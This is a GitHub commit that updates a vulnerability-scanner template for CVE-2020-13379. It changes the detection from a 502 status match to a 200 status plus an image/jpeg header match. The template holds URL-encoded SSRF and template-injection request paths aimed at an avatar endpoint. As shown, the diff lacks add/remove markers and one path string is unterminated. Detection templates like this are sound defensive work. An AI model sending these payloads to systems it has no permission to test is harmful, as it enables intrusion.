Update CVE-2020-13379.yaml

The old matching using status code 502 returned false positive when the endpoint is already having a bad gateway. Going through the report here 
https://hackerone.com/reports/878779 and video https://www.youtube.com/watch?v=NWHOmYbLrZ0 , the path has been rewritten and matched with respective image/jpeg as explained in the poc
patch-1
joeldeleep 2020-09-27 11:58:57 +05:30 committed by GitHub
parent 9ab73d6c5e
commit 3da6c533f0
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 6 additions and 4 deletions

View File

@ -13,10 +13,12 @@ info:
requests:
- method: GET
path:
- '{{BaseURL}}avatar/%7B%7Bprintf%20%22%25s%22%20%22this.Url%22%7D%7D'
- '{{BaseURL}}/avatar/%7B%7Bprintf%20%22%25s%22%20%22this.Url%22%7D%7D'
- "{{BaseURL}}/"
- '{{BaseURL}}/avatar/test%3fd%3dredirect.example.com%25253f%253b%252fbp.blogspot.com%252f
matchers:
- type: status
status:
- 502
- 200
- type: word
words:
- "image/jpeg"
part: header